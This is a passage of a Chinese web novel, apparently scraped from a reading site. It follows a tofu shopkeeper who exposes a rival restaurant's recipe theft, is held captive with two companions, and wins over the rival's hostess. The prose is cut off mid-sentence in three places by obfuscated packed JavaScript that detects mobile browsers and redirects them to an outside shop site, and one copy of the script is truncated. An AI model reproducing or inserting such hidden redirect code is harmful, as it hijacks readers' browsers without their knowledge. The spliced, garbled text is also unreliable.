而这道清风白玉袖飘飘而起,入她眼帘,为她斟了些酒。 不是,这就吃上了? 罗烨烨难以平复,但是眼下这情景,她明明眼睛已经瞟了好几下了,萧握瑾却全然没有要与她交流之意,她便觉得自己这话问出来,估计是得不到接话的。 但她还是压低声音:“怎么样,你查到啥了吗?” “你就非要在这种时候,说一些煞风景的事。” 显然萧握瑾还是回她话。 这一声出来,罗烨烨瞬间就感受到了和当初他还闹别扭时候,那种凉凉的语气。霎时,这种莫名燥热的气氛一散而去,她立刻就撇嘴了。 这便提醒了她,他们之间的别扭,还没结束呢。 这时,萧握瑾却送了一声气,为她指桌上菜肴:“甜口咸口,有肉有鱼,还有点心,你喜欢……” “都不喜欢,没胃口。” 罗烨烨果断回绝,倒抱起了臂肘,向后依靠,后背倚在那软褥上,一副拒人于千里之外之感。 这时萧握瑾却把声音放轻了,只问她。 “那你来做什么?” 哎呀,这话问的,啥意思呀?罗烨烨立马就横眉瞪眼了,目光把萧握瑾顶回去:“那我来难道是为了吃饭吗?我来是为了查清真相。” 她接着便深吸一口气,屈居檐下,不可太过高调,声音低下去些:“把悦人楼的这种行径,公之于众。” 而萧握瑾反倒却说:“我不是讲过,我来处置,你待在铺子里么?” 啊,罗烨烨深吸一口气,她看着这张脸,方想说话,但是话到嘴边,又转了个弯,又抿了抿唇。 罗烨烨就和他对视了一会,才轻轻说:“那你弄好了吗?没弄好还不是得靠我。” 萧握瑾就点头,对此似乎表示十分的赞同,语气很温顺呢:“确实得靠你啊。” 说着就跟敬酒一样,把那个酒筹推到她面前下。 哎,这是哪一出? 罗烨烨还真有点受用,想抬眼揶揄他,却被这筹中酒色吸引,一时不愿拒绝。心中丝丝暖流,驱使她顺手就捞起酒筹,靠在嘴边。 没忍住,一口闷了。 其实有点想借酒浇愁的。但是汁水化在嘴里,罗烨烨抿了抿,还有点甜甜的,有一点点草木的甘味,好像是药。 同时她大脑和胸中有神清气爽之感,身上也更有劲了,也没那么怕冷了。 她低头往酒筹里看。 红粉桃花,落在杯底。但眨眨眼,又消失了。 “是药酒。” 萧公子的声音从她头顶传上来,很轻松,带着点笑。叫罗烨烨抬头,就望见他目中的笑意,“我酿的,如何?” 罗烨烨看着他,嘴巴里还是甜丝丝的,胸腔中扑通了一下。 便在她犹豫的当口,前面桥上忽然有人认出她,有个声音“哎”一声,起哄: “这不是那个什么悦人铺子的掌柜?怎么这个时辰,都吵到这来啦?你这……哎呦!” 这人光顾着看,脚下不留神便踩空,趔趄了好几步,最后一腚坐地上了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534154|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这一声便引得桥头、屋院,还有坐席之间,传出或戏谑或调侃的笑声。陈通海笑而不语,便宽解道: “罗掌柜,没成想你到了我府上,倒添了一道好风景啊。不必慌,定叫你享尽这悦人楼里的乐子。” 罗烨烨一听,真是不愿意了。什么叫我添了一道风景?好像任人观赏看的一样。 陈通海便一扬手臂:“来人,上菜。” 话音落下,一道道菜肴流水一般盛上来。 有酱色的红烧肉,油亮的皮子裹着琥珀色的酱汁。还有酥皮烤得金黄的乳鸽,有清蒸的白鱼,身上覆着葱丝姜丝,热气一蒸,鲜味直往鼻子里钻。 还有碧绿的菜心,卧在鸡汤里,清清淡淡的,像一汪春水。 春水端到罗烨烨跟前,她眯了眯眼,先用调羹舀了一口。啊,这是珍珠翡翠白玉汤啊。 不够味。 她再往前一展眼,五花八门,如花红柳绿一般,摆了一圈。底下那些灯笼光一照,晃得罗烨烨都有点晕。 她心中愈发不服气:这陈通海真是很嚣张啊。 但她深吸一鼻息,沉住这口。伸手随意挑起两根筷子,夹了一口沾了酱汁的鳜鱼,放进嘴里。 嚼了两下,她摇头。 “名不副实。” 这一声,搞得旁边给她上菜的那个家丁,手都顿了一下。众人先都看陈通海的脸色,见陈通海没什么指示,便也没有要桎梏住罗烨烨的意思。 只有萧握瑾问她:“不喜欢?” 罗烨烨一边摇头晃脑,十分不认可这个滋味,竖起了手中的筷子:“原本我是很看好这道菜的,之前在别处吃的很符合我口味。” “但是你们这个悦人楼,没有做出来它的精髓。” 她后一句话倒是直接,大大方方地直视了陈通海的眼,“这道菜是东南的‘松鼠鳜鱼’吧?倒也不必什么地方的特色都标榜是你楼所出。” 她顿了顿,又夹了一筷子,在嘴里品了品。 “松鼠鳜鱼讲究的是外酥里嫩,酸甜适口。你们这个,醋放多了,酸味冲,糖是最后撒的吧?甜味浮在表面。” “还有鱼腌得太老,缩水了都,里头柴了。配方不对,以及东南的做法是用新鲜鳜鱼,活杀现做,鱼肉才会有那种软蒜瓣似的嫩。你们这个用的隔夜鱼吧?” 她也不放筷子,就这么喋喋不休。家丁脸上挂不住了,指着她:“哎,你这人怎好这样说话?给你吃已是好心,有吃都不错了,你这人——” 话没说完,那家丁一脚踩滑,不知怎么回事,哎呀大叫一声,咕噜咕噜从楼梯上滚了下去。 这一动静直接把底下经过的一个食客吓了一跳,“哎哟”一声跳开,手里的酒杯都飞了。一时间,桥头、屋院、坐席之间,目光皆被吸引过来。 “哎,这不是那枫城来的御膳厨子么?” “来踢馆的?” “不对,该是苏掌柜,叫苏叶叶是吧?” “她这身打扮……”一人扬手朝她一指。 “这便是悦人楼的门面呀!” 窃窃私语像潮水一样涌上来,有认出来的,有猜错的,有纯粹看热闹的,一道道目光落在罗烨烨身上,罗烨烨坐在那,把筷子搁在碟沿上。 她抬起眼,看向陈通海。 32. 绑票 陈通海已落座在她右前,脸上的笑纹丝不动。那双眼睛眯缝着,在月移花影之中,晦暗不明。 有人被蛊惑了。 得知这本就是掌柜叫来的人,便无所顾忌,纷纷围过来看热闹。 “你说这松鼠鳜鱼是来自苏式,可我用我自己本地的特色口味,难道不行吗?” 还有那专写文章的骚客,一来便占住了罗烨烨旁边的二楼栏杆,居高临下地听。听着听着,心思活泛了,开口问道: “难道苏式就只能做苏式,不能按我本地的风味去调整,不能换成悦人楼牌的鳜鱼?” 他话中尖锐: “这不是垄之断之,行霸道之举么?” 罗烨烨收回目光,又拾起筷子,用筷子头点了点那盘鱼,不紧不慢: “他这调法,倒不像照着本地人口味来的。再说挂的又是自家原产的牌子,只能说仿了个四不像。” 说着便指指她旁边家丁,手里那张“悦人楼创菜式”的帖子。却这时,在底下座中有扬声而起: “可这菜又不是只有你一家能做,我们都可以做啊。” 是一个衣着锦绣的食客,语气里带着几分挑衅,“你说松鼠鳜鱼这个菜,它本来就是松果、松鼠形状配上鳜鱼,又不是没有其他人做过。” 他持续诘问:“万一其他地方也做过类似的,只是苏式先出了名呢?事实不是苏式先做的,是别的地方先做出来的,那也照样可以叫松鼠鳜鱼。” 罗烨烨笑笑。 她问了一遍:“那你信吗?” 哎呀,这一下就有人笑了。 听着像是喝晕,喝多了,觉得她反问得好玩,笑声从角落里冒出来,零零星星的,又被一片哗然盖过去。 “你这是诡辩啊!” 那个锦衣食客听着像是急了,声音拔得老高:“罗掌柜,我知道是因为你家的七彩猫豆腐招牌,和悦人楼的七彩猫豆腐撞了。” “你怕争不过人家的御膳,才这样说。但我要替陈掌柜说一句:你的东西没什么技术含量。别人想做也可以做,你不要总觉得别人抄你!” 罗烨烨听完,倒没急。她笑了一声。 ““我自然不怕他抄我。你说我怕争不过人家的御膳,倒要多谢你替我这般操心。不过御膳这档子事,我是真没在怕的。” 她说着,伸开手臂,又叨了那正中央那一盘七彩霉豆腐,夹在筷里左右端详。 “你们做七彩猫豆腐,你们想用这个上御膳,随意。反正我们登记的猫豆腐宴,有自己的名号。” 她抬起头,目光扫过一圈。 “叫罗烨烨、中州猫豆腐!” 话音落下,她叨了一块赤色绒毛的豆腐,放在盘中,如搁自家厨房里备菜一般呢,游刃有余。 “除非你们能现在改户籍,找到第二个跟我同名同姓的罗烨烨。” 可那一圈客席、家丁,还有陈通海的脸色,却因着她一句比一句高的话音,尽数被吸引过来。 她把筷子搁下:“否则我登记上的词牌名、商标,你们想撞,也要问过我大景律法愿不愿意。” 话就撂这了。 她将手一震在桌案上,起身便卷袖而去:“我们走!” “慢着。” 陈通海背住手,从座位起身,就立在身侧。他一身水绿绸衣,此刻像一座青绿大山,那灰蒙蒙的影子投在她桌案之上,便要压住她脚步。 “罗掌柜,我悦人楼招待你吃好喝好,你这分币没付,还在我席上发扬如此无礼之言,想走去哪啊?” 话音刚落,哗啦一声。 罗烨烨身后,那白衣公子不知从何处拮来一只锦绣缂丝的钱袋,叮叮当当滚了一片,满桌全是铜币,纤长手指正点着这些数。 罗烨烨哼出鼻息,她面向台下者众,朗声宣道: “是为了挂名卖自家产品,还是为了改善口味、为自己的百姓谋口福。各种滋味,诸位一品便知。” “哈哈哈哈!” 陈通海忽然笑了,朗声在亭台水塔间来回撞荡,越笑,他越皱起了眉。 “罗掌柜,你在我地盘上,说我是挂牌子卖货?你可问过,从我这儿买的,全是郎台的乡亲父老。你瞧瞧在座的各位,哪个不是本地人得实惠?” “你凭什么觉着,旁人会认你的理?” 此时此刻,那颧骨和眉眼之中,才在轮替交换的采光与阴影里,暴露出煞气。 “你又算替谁说话?” 他提高声音,往远处宣判: “你不过是为了一己私心,追名逐利,想让大伙都上你那儿买,你好招揽钱财。便是如此,罗掌柜,你又凭什么觉着你能斗得过我?” 哇。 这人直接不装了。明晃晃地说要斗。 罗烨烨气血上涌,通身连到拳头都冲上来一股劲,正要开口。 “愣着干什么?” 陈通海端着一口茶,慢慢用茶盖抿。 “把他们抓起来。” 话音刚落,几个家丁便从两侧扑上来。罗烨烨心里一震,手还没来得及抬,家丁就被掀飞了。 折扇啪地展开,扇骨轻轻一拨,从她身侧略过而出,冲在最前头的家丁便整个人向后飞去,撞翻了身后的同伴,咕噜噜滚出去一丈远。 萧握瑾收扇,不紧不慢,还用手指拍拍扇面上,也不知沾了什么东西。他侧身,朝罗烨烨伸出手。 “走。” 一个字,轻飘飘的。 罗烨烨愣了一下,陈通海的声音便扑面打断: “走?你们想往哪儿走,我这悦人楼,方圆几十亩都是我的地盘,你们能走到哪儿去?” 萧握瑾垂下眼,目光落在罗烨烨垂着的右手。 罗烨烨这才回过神,赶紧抓住他。 刚贴住他掌心,便觉一股力道拽着她猛地往上一提,天旋地转,脚下发虚,她差点没站稳,踉跄了一步才稳住身子。 再低头一看,脚底踩的不是地砖,是瓦片。 灰黑色的筒瓦,一片叠着一片,在月光下泛着冷冷的青光。罗烨烨瞪大眼睛。 她站在房檐上。 风从四面八方撕扯她,吹得她衣袂猎猎作响,有如底下窜上来的声音。人影在她眼中,跳动着缩成了一个个小黑点,灯笼光变得模模糊糊,令她也有些晕眩。 乌泱泱的人群仰着头,有的手指着她,叫嚷声混成一片,嗡嗡地往耳朵里钻。 “妖术!这是妖术,郎台来了两个妖怪!” 罗烨烨脑子里嗡了一下,还没反应过来,底下忽然炸开一声喊: “罗烨烨!” 她猛地回神,循声那处看。 陈通海立在人群中间,一只手扯着一个人的胳膊,用力往前一拽。 “你看,这是谁?你还要不要你们悦人铺的家丁啊?” 那人被身后的家丁推着,踉跄了好几步,墨发在风中乱晃。 这人一抬头。 ……萧惜文! 这下罗烨烨清醒了些,视野中的人影变清楚。月光落在他的脸,那张清瘦的面孔上情绪复杂,有歉意、懊悔,不甘,个中晦涩难辨。 罗烨烨张口就要喊,手臂却被人猛地往后一拽。她被拽得转了半个身,侧对着萧握瑾。 萧握瑾在她右手边,目光冷冷的,没看下面。 “走。”他拖长了声音,强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541854|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调。 罗烨烨欲言又止,看着他,很为难。萧握瑾避开了她的目光,意思是不会救。 罗烨烨只好朝下面喊:“我下去,你别动他!” 她蹲下身,却被萧握瑾一把扯住。 罗烨烨回头,耷拉着眉眼看他。萧握瑾皱着眉,摇了摇头,她就撇起嘴。 罗烨烨扭回头,她身后传来沉重的呼吸声。 但是危急关头,没有办法,大局为重。 等她被带下去,落地,膝盖一软。她踉跄了一下,才勉强站稳,往前走,到陈通海面前,先看了一眼萧惜文。 萧惜文没有移开目光,望着她,蹙着眉。 罗烨烨再看他身后家丁。那几个家丁松开了手,往两边退开,给陈通海让出一条道。 陈通海走过来,眯着眼,嘴角噙着那种让人发寒的笑意,之后朝家丁使了个眼色。 几人动作迅速,上前把罗烨烨的双手绑在身后。有人要去绑萧握瑾,罗烨烨赶紧大声道:“这就不必了吧?你们不就是想要一个掌柜吗?” “我是掌柜,绑我就是了。他就是个路过的游侠,跟我们铺子没关系。” “她不是掌柜。” 不料萧握瑾直接打断他,反而走她身前,将她遮在身后,声音还是漫不经心调子,“我是萧氏长子,我才是掌柜。” 家丁们互相看了一眼,上去把他也绑了。 罗烨烨皱着眉看他,不解。但是显然萧握瑾也并不喜悦,并未接她的眼神。 有几个围观食客见这边声音沉寂下去,都勾着头往这边看,凑热闹。 但那几个家丁身形宽大,还有的背过身来,用手遮挡,粗声粗气地驱赶:“别看别看,吃你们的喝你们的去!” 陈通海隐没在灯笼光照不到的暗处,水绿绸衣在夜色里泛着阴丝丝的光,像一潭死水上的浮萍。 他一扬手,声音幽幽的:“带进柴房。” 这不会是要杀人剁肉,让他们就此消失吧? 还没想完,头上就被什么东西套住了,眼前一黑。喧嚣声从耳边流走,渐渐稀疏。 深一脚浅一脚地走了一段路,等她走到地方的时候,有家丁拍她:“有门槛。” 罗烨烨赶紧问:“你们要干什么?我们要是久了见不着人,官府也会找的。” 家丁里有嬉笑的,有不吭声的,挤出一个声音回她:“一会陈掌柜找你单独谈话,就在这等着吧。” 另一个奚落道:“好吃好喝伺候你们,只叫你们别乱吱声,怎么还说?到我们地盘就该听我们的,真是不识好歹。” 话音刚落,罗烨烨被猛地一推,脚下一空,摔了下去。但没有撞到硬地,反而撞到一片柔软的物,耳边传来一声闷哼。 吱呀一声,门关上了。 久久寂静。 没有人开口说话。罗烨烨心里有点慌,被绑在身后的手搓了搓,掌心里全是冷汗。 她尝试着上身使力,想坐起来,但腰上没劲,这个姿势又别扭,刚起来一下,没撑住,又砸了下去。 就给下面砸出声音,冷冷的:“你干什么呢?” 罗烨烨也很尴尬,一听就是萧握瑾。 而她头上的黑布窸窸窣窣,动了几下,刷地被掀开。她扬起颈子,看见萧握瑾松开口中叼着的黑布带,居高临下地垂眸看她,哼哼冷笑。 “看我干什么?求我没用。” “解释啊。” 能听出他牙关紧咬,这人随而转目光往旁侧。 罗烨烨抿起唇,也顺着他的视线看过去。 一旁柱子下,一个青衣公子靠坐着,头上还罩着黑布,一动不动。 萧惜文。 33. 内鬼 “到底怎么回事?” 罗烨烨先开口问。她看着柱子旁的青衣公子,那个黑头套动了一动,似乎觉得不够礼貌,往她这边转了转,在寻找她声音的方位。 之后,那个声音才闷闷地朝着她回道:“罗掌柜,在下……” 就听到自己头顶上轻哂一声,有人帮她接腔:“就是啊,某个落榜生——” 罗烨烨啧了一声,瞪萧握瑾。 后者面上本就不霁,此刻更转为阴。 罗烨烨心里也没底,赶紧收回目光,接道:“陈通海给了一条思路,他会请别家铺子的人,就是那种招牌店的家丁,去他那儿做饭。” “他们能把各地品牌的东西学过来,靠的就是这个路子。” 她望着对面那个黑布袋,观察他微小的肢体细节。 “那么咱们家的霉豆腐配方能泄露,是不是就说明咱们家也有内鬼?” 对面那个黑布袋没动静。罗烨烨下意识看萧握瑾,萧握瑾被她看得微微睁大眼睛,笑了一声。 “怀疑我?” “……”罗烨烨撇了撇嘴,不想说他,就看向萧惜文。 萧惜文也体悟到了这注视的目光。他本就身形清瘦,在不透光的暗处显得单薄,有些受伤的模样。他缓慢地低下头,才渐渐开口: “萧某知道罗掌柜不信任我。我是个外人,又是后来的,什么都做不好,还总是拖累你们。若说内鬼,第一个就该怀疑我……” “你装什么可怜呢?” 罗烨烨一听他声音就头疼,感觉他们又要吵了。她忍不住怼萧握瑾:“能不能想想办法,别吵了?能不能别老是遇见萧惜文就降智了一样?” 她说完就后悔了,并且因为没有听见萧握瑾再说话,心里更没底。 她干巴巴地补了一句:“萧惜文,你也别打感情牌。” 之后她就听见头顶轻轻送了一口气。这种哂声,真是令她愈发难以专心。 罗烨烨忍不住转眼,结果感到身体不稳,还没反应过来,一下子翻倒了。 后背躺在地上,她震惊,看到萧握瑾,居然站起来了。 “诶,你怎么解绑了?” 那白衣居高临下,走到她面前,正转着手腕,反问她:“怎么,你又当如何?” “快给我松绑啊!” 罗烨烨大叫完,却见他眼底忽闪的暗光,和他嘴角翘起的那个弧度,他眯起了眼。 她心叫不好。 果然这人开口:“求我。” “……”罗烨烨真是又无语又有苦难言。结果萧惜文还歪了歪他的黑头套,显出疑惑,问: “降智是什么?” 还问她一句! 罗烨烨心里窝着一股火,又不服气,只能支支吾吾嘟囔:“……你别学他就行了。” “哦。”萧惜文应了一声,低下头。 之后轻轻地笑了。 萧握瑾一把抓起萧惜文的衣襟。 罗烨烨大惊:“萧握瑾!你又挑事?” “罗烨烨,你可别管我了。你好好想想你是怎么落到如今境地的吧。” 萧握瑾看她,眼底闪出些漠然,“你方才不是质问,怀疑我们有内鬼么。首先,铺子是我家开的。” “你有理由怀疑我是内鬼么?” 一句话落地,指向谁不言而喻。 萧握瑾一把将萧惜文的头套拔掉。 烛光摇摇晃晃地照过来,落在萧惜文脸上。 他墨发散乱,几缕垂在额前,衬得那张清瘦的面孔更加苍白。嘴唇有些干白的褶皱,许久没喝水了。低着头,睫毛颤了颤,没说话。 罗烨烨不再看他了。 她换了个说法,还是轻轻道:“惜文兄,到了郎台之后,你是新来的那个。你一来我们东西就被泄露了,你还对我们的动向很清楚。” 她顿了顿,虽一股子话全吐出来,但还是试图委婉: “萧公子,你为什么在这呢?其实我方才想,是不是我出了铺子,你没听我的留下,也跟出来了。” 她还给他找补,又紧跟着发问:“不过我也想问,你说的我们之前发生的事情,我听了,真的是宛如亲历一般。” “你是一直在跟踪我们吗?” 这几个问题听着分量其实没那么大,除了萧握瑾那个尖锐一些。不过一个小石子堆起来也宛如一座大山,似乎压得这位青衣公子难以开口。 “……我确实是追着罗掌柜你出来的。” 萧惜文,他缓慢解释,“我担心你们有危险,就让其他家丁守着铺子,自己出来看。” “阿福告诉我悦人楼的位置,我追出来,被他们的人发现了,之后就被打晕。” 这个黑布罩方才套着,可能闷得令人难以呼吸,他缓了口气,才继续,“再一醒来,就已经到了方才的宴席上。” “阿福为什么会告诉你悦人楼的位置?我不是让你留在铺子里吗?” 罗烨烨说完都觉得自己又在倒车轱辘话了。她沉默了一会儿,旁边人又开始发出那种讽刺的音: “事实就证明,他们那儿有什么?有一个负责做菜的,和一群负责抄菜谱的。还有,抄诗的。那咱们家菜谱是谁泄露的呢?” 质问声一出,萧惜文抿紧了嘴唇。 他的唇缝抿成一条线,低着头,眼中偶尔向上抬,看罗烨烨。 并不似被抓到的那种麻木与惨败之象,反而有些心焦和紧张。 罗烨烨盯着他,脱口而出:“你是被谁威胁了吗?” 萧握瑾却直接伸手:“不说就弄死。” “诶你干什么!”罗烨烨真服了这人老打岔,除了恐吓没啥用。 结果她话刚落地,门吱呀响了。推门而入一道身影,很眼熟。 屋内寂静被从外面推开。 月光先涌进来,如一匹白练铺在地上,把满室的灰尘照得发亮。那抹桃杏色从门框后转出,裙摆在月光里轻轻一荡。 罗烨烨一眼认出。 “桃叶叶!” 不是不是,苏叶叶。苏。 苏叶叶脚步一顿。 她站在门口,月光从她身后泻进来,把她的影子拉得又长又淡,投在罗烨烨脚边。 对方听见这名字,愣了一瞬。烛光落在她脸上,那双狐狸眼里闪过一丝错愕,但很快被光影一晃而不见。 “你来做什么?”萧握瑾声音淡淡。 罗烨烨心里砰咚了一下,她看着苏叶叶恢复了自然的神情,泰然自若。 “我听说你们被抓了,来救你们。” 说完,她居然朝罗烨烨走过来了。 罗烨烨愣住。苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547722|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶叶绕到她身后,她看不见她的动作,只看得到她的裙摆在烛光里一晃一晃,再往上,是她脑后梳着的随云髻。 桃花簪子摘了,发丝干干净净地拢在脑后。只有那件衣裳没来得及换,桃杏色在月光底下褪了几分,像一朵开到了尽头的花,颜色淡了,可还是那朵花。 与她耳后隐约颊面上,淡色正衬。 手上一凉,苏叶叶的手指和她接触了一下,随即手腕一松。罗烨烨把手收到前面,摸了摸腕骨。 绳子解了。 她抬起眼看苏叶叶。 “你……” “别问了。”苏叶叶垂下眼,声音轻轻的,“趁还没人发现,你们快走。” 罗烨烨看着她,没有立刻动。 “为什么?” 苏叶叶望了她一会,片刻才道:“我不想看你们遭无妄之灾。陈通海那人,你们惹不起的。赶紧离开郎台,别再回来了。” 罗烨烨站起来,活动了一下发麻的手腕。 “那你呢?”她看苏叶叶,“你也知道陈通海不好惹,你放走我们,你自己怎么办?” “你和我们一起走吧。” 苏叶叶摇头:“我是悦人楼的掌柜。你们走了,陈通海还是需要我去主管台面。你只要一直不出现在郎台,就会相安无事。” “那好吧。”罗烨烨说,语气平平的,“苏掌柜,你还是要帮陈通海,是吧?” 苏叶叶顿了一下,眯起眼,抬起眼看她:“你——” 下一刻,萧惜文和萧握瑾同时上前,一左一右拿住了苏叶叶的手臂。苏叶叶震惊,她没料到他们何时松了绑,更没料到会反手制住自己。 她睁大眼睛看站起来的人:“你!” “真不好意思,苏掌柜。”罗烨烨抖抖胳膊上麻绳,走过来,歉然地笑了笑。 “你替陈通海充当门面,本来就冒犯了我们的商标,这是盗版。我们只好拿住你送官府,做个突破口了。” 苏叶叶怔神,随即渐渐冷笑:“我救你,你就恩将仇报?” 她双眸泛起怒意:“没想到罗掌柜是这般厚颜无耻之人。” 罗烨烨收敛了笑意:“那你现在可以选了。要么告诉我们陈通海的配方藏在哪,要么送官府。” 她下了半口气,直视不避:“况且我与掌柜你见面就已说清,你在做盗版的事。你还要助纣为虐,难道我让你和我们走,不也是救你么?” 苏叶叶微笑着,眼底淡漠,并不多言。 罗烨烨继而又道:“就算你今日不救我们,萧握瑾来前也已经报过官了,官府正在跟进。不见我们,他们也会找到这里。” “你跟我们走,告诉我们陈通海偷的配方在哪里,或者偷配方的人是谁。我们就说你不知情。” 苏叶叶沉默。 烛火跳了几下,她望着她的眼睑一动,最后慢慢垂下眼。 “……跟你们走有何用?配方在后面,我带你们去。” 罗烨烨看了萧握瑾一眼。 松开手,萧惜文也退开一步。苏叶叶慢慢垂下手,握了握手臂,转身往外走。 罗烨烨扬声:“苏掌柜,我们能信你么?” 苏叶叶走了两步,又停下,侧过脸来。 她轻笑了一下。 “你们能跟上,再说吧。” 34. 月光 苏叶叶脚下一动,霎时裙摆翻卷,衣角若蝶翅而起,身形轻转便要掠向黑天。 她会轻功! 罗烨烨大吃一惊,她忽然意识到这是个有武功的朝代,而她啥都不会,只能眼见她腾空迈上。 一只手便斜刺伸来。 一下抓住她的手腕。萧握瑾五指如钳,往回一逮,她若一片被风撕扯的落叶,直接被拽到几人身前。 苏叶叶一怔,另一侧萧惜文也随之而上,按住了她的肩,叫她半分也动弹不得。两个人一左一右,加上前面罗烨烨,将她围在中间。 “……”苏叶叶不语。 罗烨烨扯了个微笑,也差点被这人耍了,自然不喜悦,心里说不上是气还是别的什么滋味。 “请吧,苏掌柜。” 四个人出了柴房。 夜已深。悦人楼的灯火在身后渐渐远了,前面的路越走越暗,只有月亮挂在头顶,把地上照得发白。 夜风呼啸,吹得罗烨烨衣袂飘飘,桃杏色的裙摆在月光底下翻飞,若她铺子前竖的招旗。 桃杏来,猫豆腐就要来。 苏叶叶与她并肩行,萧握瑾和萧惜文一左一右跟在她们身后,间距不远不近,像两道影子。 “苏掌柜,”罗烨烨先出声,声音被夜风吹散,“其实你不必再回去了。” 苏叶叶轻轻笑了一下,并不语。 路边的树影婆娑,风一吹,沙沙作响,在窃窃私语。 “你不懂的。”良久,她慢慢道。 罗烨烨侧头看她。 月光落在苏叶叶的侧脸上,她穿着那件桃杏色的褙子,却看起来与方才不同。 初见她是悦人楼的门面,风光无限,温和柔顺。 此刻的她像卸了妆的戏子,眉目间的精致还在,可眼底透出来的,是淡淡的疏离。 哦,其实和初见是一般模样的。 她捡头钗时也是这般姿态。 “苏掌柜,”罗烨烨又开口,语气放软了些,“你这身扮相,其实挺好看的。不光是衣裳,还有你的气质。” 她面露认真:“你如今走着,仿佛从画里走出来。你难道不曾想过,去做些别的事?” 苏叶叶偏过头看了她一眼,没说话。 “我意思是,”罗烨烨想了想措辞,“你扮相出挑,其实可以不用只当门面。你可以去演戏,去说书。” “你知道的,大家吆喝吃食嘛,要是有人在摊子前杂耍、扮相、唱大戏,那就更吸引人了。” 苏叶叶步履放缓。 “菜是好菜,故事是好故事,叫食客知道、记住、愿意来吃,有人写,有人画,有人唱,有人演。”罗烨烨见有成效,语气便愈有热忱。 “我们可以打造一个共同的牌子,靠牌子把名声做大,内部大家各发所长,牌下再放自己的噱头,这样有客大家都能享到。” 苏叶叶彻底停了下来。 她转过身,面对着罗烨烨。月光落在她脸上,那双狐狸眼里映着碎碎的银白。 “罗掌柜,”她轻声细语,“你一个做豆腐的,怎么还懂这些?” 罗烨烨笑了笑,哎,她有一点想谝能啊,但还是道:“其实是萧惜文说,能给我们猫豆腐写诗。哎,我一听这想法,就不错啊。” “我还听说很多食客私下给我们写话本呢,这都是食客对我们猫豆腐的情谊呀。” 苏叶叶轻出鼻息,垂下眼,摇头。 “情谊是不能当饭吃的。” “可以啊,我可以花钱雇你。” 罗烨烨语气笃定,之后又意识到自己有点急功近利,便又轻下来,“我就是觉得,你这样的人,不该只给别人当影子。” “其实,我自己也写了一点小剧本,呃……就是那种短一些的、演给人看的小戏,关于猫豆腐的。” 罗烨烨没敢直接说找人演畜生,叫苏叶叶当掌柜。不是很光彩呀,她的声音更低了一些,带着点试探。 “而且这是我七大舅的八大姨亲身验证过的,有效。你要是感兴趣,可以来找我,咱们一起演。宣传猫豆腐,也宣传你的形象呀。” “我们直接用你大名,苏叶叶。” 沉默了一会。 夜风从巷口灌进来,吹得两个女人的裙摆交缠在一起,又分开。 苏叶叶抬起眼,望着她,神色淡淡。 罗烨烨心里有点发虚。 无人出声附和,无人点头认同。她余光下意识想往那身后两人瞄,而萧握瑾也只是等闲,兀自玩扇子。萧惜文低着头默思,始终没抬眼看这里。 苏叶叶笑一下。 “罗掌柜兜了这么大圈子,”她眯起眼,又轻轻抬眉,有些不可思议,“原来是来挖人的?” 罗烨烨讪笑一下,但她大大方方地点头:“是。” “我本意就是想请你来我们这边。” 苏叶叶歪着头看她:“你就不怕我反水?就像方才你对我那样。” “我救了你,你反手把我制住。万一我现在答应你,转头又去告诉陈通海,你怎么办?” 罗烨烨有点尴尬:“那是方才咱们利益绑定不完善,可是如今我把这个掰扯给你说,咱们俩就算是一条绳上的蚂蚱了呀。” “我只是觉得,”罗烨烨笑了笑,“苏掌柜,你做我的家丁,肯定比做陈通海的舒坦得多,是不是?” 苏叶叶弯起嘴角:“那可不一定。” 罗烨烨没被这话噎住:“你做得东西再好,陈通海把你名字抹去了,给你冠上别的名姓,夺取你的耕耘之实。” “你做得再好,钱和名都到不了你手里。你愿意吗?” “就给你一个跑腿费,”罗烨烨朝她走近,一字一句,“你觉得那就是你所有辛劳应得的吗?” 未有答复。 夜风吹过,把苏叶叶鬓边的碎发吹起来,又落下去。她与她对视,睫毛上细细碎碎的月光,未言语。 罗烨烨也不催她,等着。 良久,苏叶叶缓慢地,深吸了一口鼻息。 她转身,顿一下脚步,侧眸,用眼尾瞥了一眼罗烨烨。 “到了。” 罗烨烨赶紧跟上,一行人随她转入门院深处。 穿过一条窄巷,拐了两个弯,眼前出现一扇矮门。 门板老旧,漆皮剥落,在月光底下泛着灰白色的光。门楣上挂着一把铜锁,生了锈,绿莹莹的。 罗烨烨停在门口打量一会,就见苏叶叶从袖中摸出一把钥匙,插进锁孔,拧了两下。 咔哒一声开了。 她让了个身位,罗烨烨一步上前,推开门。 一股陈旧的灰尘味扑面而来,混着霉味、纸墨味,还有些油腻腻糊鼻子的呛味。 罗烨烨捂住口鼻,借着门外透进来的微光,看清了屋里的景象。 架子。 她向上看。 